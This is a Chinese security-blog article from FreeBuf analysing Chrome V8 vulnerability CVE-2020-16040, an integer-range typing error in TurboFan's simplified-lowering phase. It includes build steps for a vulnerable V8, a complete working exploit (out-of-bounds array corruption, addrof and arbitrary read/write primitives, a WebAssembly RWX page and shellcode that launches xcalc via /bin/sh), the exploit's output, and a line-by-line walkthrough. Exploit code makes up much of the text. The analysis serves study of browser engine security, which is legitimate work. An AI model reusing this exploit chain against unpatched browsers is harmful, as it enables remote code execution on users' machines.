freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

chrome v8漏洞CVE-2020-16040浅析
2024-05-29 16:18:09

chrome v8漏洞CVE-2020-16040浅析

作者: coolboy

前言

CVE-2020-16040是chrome v8 turbofan引擎的一个漏洞,具体发生在turbofan 的simplified-lowering阶段,错误的将加法的结果判定为Signed32类型,导致整数溢出,从而进一步利用漏洞实现RCE。这是一个系列文章,本文是第四篇。

POC

编译

# 如果编译失败,考虑是网络的原因。推荐解决办法:境外服务器编译。

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH

mkdir ~/v8
cd ~/v8
fetch v8
cd v8

# 漏洞补丁前一笔提交

git checkout 8.9.40
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug

# test
./out/x64.release/d8 --help

POC

/*
CVE-2020-16040
HEAD @ 2781d585038b97ed375f2ec06651dc9e5e04f916

https://bugs.chromium.org/p/chromium/issues/detail?id=1150649
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-16040
*/

var bs = new ArrayBuffer(8);
var fs = new Float64Array(bs);
var is = new BigUint64Array(bs);

function ftoi(val) {
  fs[0] = val;
  return is[0];
}

function itof(val) {
  is[0] = val;
  return fs[0];
}

function foo(x) {
  let y = 0x7fffffff;

  if (x == NaN) y = NaN;
  if (x) y = -1;

  let z = y + 1;          // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
  z >>= 31;               // Static type: Range(-1, 0), Feedback type: Range(0, 0)]
  z = Math.sign(z | 1);   // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)]
                          // [Static type: Range(-1, 1), Feedback type: Range(1, 1)]
  z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)]
  let i = x ? 0 : z;      // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)]
  i = 0 - Math.sign(i);   // [Static type: Range(0, 1)]
                          // [Static type: Range(-1, 0)]
  // console.log(i);
  let a = new Array(i);
  a.shift();
  let b = [1.1, 2.2, 3.3];
  return [a, b];
}

for (let i = 0; i < 100000; i++)
  foo(true);

let x = foo(false);
let arr = x[0];
let oob = x[1];

// %DebugPrint(arr);
// %DebugPrint(oob);
// %SystemBreak();

arr[16] = 1337;

/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];

function addrof(o) {
  let a = ftoi(oob[24]) & 0xffffffffn;
  let b = ftoi(oob[12]) >> 32n;
  oob[12] = itof((b << 32n) + a);
  obj[0] = o;
  return (ftoi(flt[0]) & 0xffffffffn) - 1n;
}

function read(p) {
  let a = ftoi(oob[12]) >> 32n;
  oob[12] = itof((a << 32n) + p - 8n + 1n);
  return ftoi(flt[0]);
}

function write(p, x) {
  let a = ftoi(oob[12]) >> 32n;
  oob[12] = itof((a << 32n) + p - 8n + 1n);
  flt[0] = itof(x);
}

let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
  0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
  0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
  0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
  0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
  0x0b
]);

let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);
let entry = instance.exports.main;

let rwx = read(addrof(instance) + 0x68n);

/* ':0.0' xcalc */ 
let shellcode = new Uint8Array([
  0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
  0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
  0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
  0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
  0x6a, 0x3b, 0x58, 0x0f, 0x05
]);

let buf = new ArrayBuffer(shellcode.length);
let view = new DataView(buf);

write(addrof(buf) + 0x14n, rwx);

for (let i = 0; i < shellcode.length; i++)
  view.setUint8(i, shellcode[i]);

entry();
$ ./out/x64.release/d8 poc.js
# 执行计算器 calc
C-style arbitrary precision calculator (version 2.12.7.2)
Calc is open software. For license details type:  help copyright
[Type "exit" to exit, or "help" for help.]

漏洞成因分析

背景

representation

turbofan根据静态类型推测会得出表达式值的范围,称之为representation。用--trace-representation参数执行d8,可以看到日志。示例如下:

# ./d8 --trace-representation test.js
function foo(x) {
  let y = 0x7fffffff;       // [Static type: (Range(2147483647, 2147483647))]

  if (x == NaN) y = NaN;    // Phi[kRepTagged](#14:NumberConstant, #128:NumberConstant, #26:Merge)  [Static type: (NaN | Range(2147483647, 2147483647))]
  if (x) y = -1;            // Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge)  [Static type: (NaN | Range(-1, 2147483647))]

  let z = y + 1;            // SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge)  [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
  z >>= 31;                 // SpeculativeNumberShiftRight[SignedSmall](#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge)  [Static type: Range(-1, 0), Feedback type: Range(0, 0)]
  if (z > 0) {
    // do something
  }
}
  • y = 0x7fffffff; representation为Range(2147483647, 2147483647),只能取值为2147483647。

  • if (x == NaN) y = NaN;此时y取值有两种可能。NaN或者2147483647,因此representation为(NaN | Range(2147483647, 2147483647))。

  • if (x) y = -1; y的取值可能性又增加了-1,representation为[Static type: (NaN | Range(-1, 2147483647))]。虽然整数取值只能为-1或者2147483647,但为了表示方便,仍然采用range,一个范围来表示。

  • let z = y + 1; 此处做加法,NaN无法做加法运算,于是NaN另外处理。加1之后Range(-1, 2147483647)变为Range(0, 2147483648)。因此representation为Range(0, 2147483648)。

  • z >>= 31; 0至2147483647位运算右移31位得到0,2147483648得到-1,因此representation为Range(-1, 0)。

representation有什么作用呢?它给优化器做优化提供依据。如上,通过representation为Range(-1, 0),知道z的取值范围为(-1,0),因此当判断z > 0的时候知道永远不可能为真,于是优化引擎可以直接删除这个分支,从而优化代码。

Feedback

// ./d8  --trace-representation --trace-deopt test.js
x = {}

function foo() {
  console.log(x.v);
}
x.v = 1;

for (i = 0; i < 10000; i++) {
  console.log(i + ":");
  foo();
}
x.v = 2;

执行结果如下:

0:
1
1:
1
...
7578:
1
Marking #19: Phi as needing revisit due to #82: Call
 Marking #16: Loop as needing revisit due to #95: JSStackCheck
 Marking #22: Checkpoint as needing revisit due to #17: EffectPhi
--{Propagate phase}--
 visit #99: End (trunc: no-value-use)
  initial #20: no-value-use
  initial #199: no-value-use
  initial #200: no-value-use
 visit #200: Return (trunc: no-value-use)
...
7579:
1
...
9999:
1
[bailout (kind: deopt-soft, reason: Insufficient type feedback for generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt id 1, node id 101, bailout id 8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6]

解释一下:

  • 在7578和7579行之间插入了--trace-representation打印的日志,表明优化引擎在7578次重复运行之后开始工作。

  • 执行多次以后x.v均为1,x.v是对全局变量的属性访问,1将作为feedback,被优化引擎采用替换复杂的全局变量属性访问,而直接将1传递给console.log,提高效率

  • x.v = 2 改变了全局变量的值,foo的优化假设x.v等于1将不再成立,于是通过--trace-deopt参数打印出了bailout信息,表示foo函数解优化,不再执行优化函数,以确保函数的正确性。

  • 由此可见,feedback也是优化的依据。

漏洞成因

漏洞在于turbofan 的Simplified Lowering阶段在处理SpeculativeSafeIntegerAdd函数时发生了错误。见下面:

void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
                                         SimplifiedLowering* lowering) {
    ...
    VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
                    Type::Signed32());
    ...
}

表示turbofan优化时处理加法,两个数字都是kWord32类型,相加之和的类型限制在Signed32,即[-2147483648, 2147483647]之间。这就导致了bug,因为两个数相加结果可能超过这个范围。比如:2147483647 + 1,结果为2147483648,不在[-2147483648, 2147483647]范围,而VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,导致了bug。考虑下面情况:

function foo(a) {
  // ./d8  --trace-representation --trace-deopt test.js
  var y = 0x7fffffff;  

  if (a == NaN) y = NaN;

  if (a) y = -1;

  const z = (y + 1)|0;

  console.log(z);
  if (z < 0) {
    console.log('< 0');
  }
  else {
    console.log('>= 0');
  }
}

foo(true);
foo(false);
console.log("================");
%PrepareFunctionForOptimization(foo);
foo(true);
%OptimizeFunctionOnNextCall(foo);
foo(false);

执行结果:

0
>= 0
-2147483648
< 0
================
0
>= 0
-2147483648
>= 0
  • 前四行输出对应没有优化的foo(true); foo(false);调用结果,符合预期。

  • 后四行输出对应优化后的foo(true); foo(false);调用结果,不符合预期。我们看到了-2147483648 >= 0

原因如下:

function foo(a) {
  // ./d8  --trace-representation --trace-deopt test.js
  var y = 0x7fffffff;       // [Static type: (Range(2147483647, 2147483647))]

  if (a == NaN) y = NaN;    // [Static type: (NaN | Range(2147483647, 2147483647))]

  if (a) y = -1;            // [Static type: (NaN | Range(-1, 2147483647))]

  const z = (y + 1)|0;      // SpeculativeSafeIntegerAdd[SignedSmall]  [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
                            // SpeculativeNumberBitwiseOr[SignedSmall] [Static type: Range(-2147483648, 2147483647), Feedback type: Range(0, 2147483647)]

  console.log(z);
  if (z < 0) {
    console.log('< 0');
  }
  else {
    console.log('>= 0');
  }
}
  • y + 1,在加法处理之后它的Static type为Range(0, 2147483648),由于前面提及的bug,VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,(-2147483648, 2147483647),两者求交得到结果Range(0, 2147483647),与实际不符,Feedback type类型有误。

  • (y + 1) | 0,2147483648 | 0 结果为-2147483648,[0,2147483647]之间的任意数|0之后得到本身,因此(y + 1) | 0的Static type为Range(-2147483648, 2147483647),Feedback type保持不变为Range(0, 2147483647)

  • 优化foo时,feedback type将参与优化,(y+1)|0的feedback type为(0, 2147483647),它的值不小于0,z<0的判断总是为false,因此优化掉判断逻辑直接执行console.log('>= 0'); ,而此时z实际的值为-2147483648,小于0。这就是为什么会打印出-2147483648 >= 0

POC详解

function foo(x) {
  let y = 0x7fffffff;

  if (x == NaN) y = NaN;
  if (x) y = -1;

  let z = y + 1;          // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
  z >>= 31;               // Static type: Range(-1, 0), Feedback type: Range(0, 0)]
  z = Math.sign(z | 1);   // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)]
                          // [Static type: Range(-1, 1), Feedback type: Range(1, 1)]
  z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)]
  let i = x ? 0 : z;      // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)]
  i = 0 - Math.sign(i);   // [Static type: Range(0, 1)]
                          // [Static type: Range(-1, 0), Feedback type: Range(0, 0)]
  // console.log(i);      // i:1
  let a = new Array(i);
  a.shift();              // CheckBounds [Static type: Range(0, 0)]
  let b = [1.1, 2.2, 3.3];
  return [a, b];
}
  • --trace-representation 打印得到上述日志,可以看到执行new Array(i);时,i真实值为1,而Static type为 Range(-1, 0),Feedback type为Range(0, 0)

  • let a = new Array(i); 将被优化成下面伪代码:
    image

  1. 其中kArraySize为1,将传递给Allocate,正常分配空间。

  2. checkdLen = CheckBounds(len, limit); 将产生[Static type: Range(0, 0)],在优化时直接替换成0。

  3. StoreField(arr, kLengthOffset, checkedLen); 将arr length字段设置为0,而实际长度为1.

  • a.shift(); 将被优化成下面伪代码:
    image

  1. length = checkedLen; 等于0

  2. newLen = length - 1; 等于-1

  3. StoreField(arr, kLengthOffset, newLen); 将arr的length字段赋值为-1。这将导致整数下溢,变成一个很大的数,从而可以实现数组的越界读写。

// 优化foo函数
for (let i = 0; i < 100000; i++)
  foo(true);

let x = foo(false);
let arr = x[0];
// %DebugPrint(arr);

使用参数--allow-natives-syntax运行d8执行%DebugPrint(arr);可以得到arr数组打印结果如下:

DebugPrint: 0x1f0108088f15: [JSArray]
 - map: 0x1f01081c394d <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1f010818b759 <JSArray[0]>
 - elements: 0x1f0108088f09 <FixedArray[67244564]> [HOLEY_SMI_ELEMENTS]
 - length: -1
 - properties: 0x1f0108042229 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x1f0108044649: [String] in ReadOnlySpace: #length: 0x1f0108102159 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x1f0108088f09 <FixedArray[67244564]> {
           0: 0x1f0108042429 <the_hole>
           1: 0x1f01081c394d <Map(HOLEY_SMI_ELEMENTS)>
           2: 0x1f0108042229 <FixedArray[0]>
           3: 0x1f0108088f09 <FixedArray[67244564]>
           4: -1
           5: 0x1f0108042a89 <Map>
           6: 3
           7: -858993459

可以看到长度确实为-1。

function foo(x) {
  ...
  let a = new Array(i);
  a.shift();
  let b = [1.1, 2.2, 3.3];
  return [a, b];
}
let x = foo(false);
let arr = x[0];
let oob = x[1];

arr[16] = 1337;

/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
  • b的内存布局在a之后,因此a可以越界读写b的内存。a[16]位置存放的是b的长度字段。a[16] = 1337,是将b的长度修改为1337。从而以b为跳板继续越界读写后面的数组。

  • oob即为b。oob[12]存放的是flt数组指向的内存。oob[24]存放的是obj数组指向的内存。

/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];

function addrof(o) {
  let a = ftoi(oob[24]) & 0xffffffffn;      // 获取obj.elements 的低32位数字,此为压缩后的地址
  let b = ftoi(oob[12]) >> 32n;             // 获取flt.elements 的高32位数字
  oob[12] = itof((b << 32n) + a);           // obj.elements地址 组合 flt原来高32位数字,形成double,写回flt.elements
                                            // 此时flt和obj指向了同一块内存,唯一区别是,flt以double解析这块内存,obj以对象类型解析这块内存
  obj[0] = o;                               // 存入对象的地址到obj[0]
  return (ftoi(flt[0]) & 0xffffffffn) - 1n; // 以double读出对象的地址,并抓换为int
}
function read(p) {
  let a = ftoi(oob[12]) >> 32n;                 // 获取flt.elements 的高32位数字
  oob[12] = itof((a << 32n) + p - 8n + 1n);     // 修改flt.elements 的低32位数字,指向p的地址,-8+1不是必须,poc计算时p事先+8-1。
  return ftoi(flt[0]);                          // 读p地址的内容
}
function write(p, x) {
  let a = ftoi(oob[12]) >> 32n;
  oob[12] = itof((a << 32n) + p - 8n + 1n);     // 修改flt.elements 的低32位数字,指向p的地址,-8+1不是必须,poc计算时p事先+8-1。
  flt[0] = itof(x);                             // 写入x
}
let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
  0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
  0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
  0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
  0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
  0x0b
]);

let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);
let entry = instance.exports.main;

let rwx = read(addrof(instance) + 0x68n);               // addrof(instance) 获取instance地址
                                                        // read(addrof(instance) + 0x68n) 读instance + 0x60处的值,这里是wasm代码段开始的地方,具有rwx权限
let entry = instance.exports.main;
let buf = new ArrayBuffer(shellcode.length);            // 分配ArrayBuffer
let view = new DataView(buf);

write(addrof(buf) + 0x14n, rwx);                        // addrof(ArrayBuffer),获取地址,地址 + 0x14 - 8 + 1的地方存放着ArrayBuffer对象buf的地址
                                                        // 修改这个地址为rwx,让ArrayBuffer的空间指向rwx,操作ArrayBuffer就是修改rwx内存。

for (let i = 0; i < shellcode.length; i++)
  view.setUint8(i, shellcode[i]);                       // 往rwx写入shellcode

entry();                                                // 执行shellcode

参考

Analyzing CVE-2020-16040
Chrome Exploitation

加群讨论V8漏洞

image

# 漏洞 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录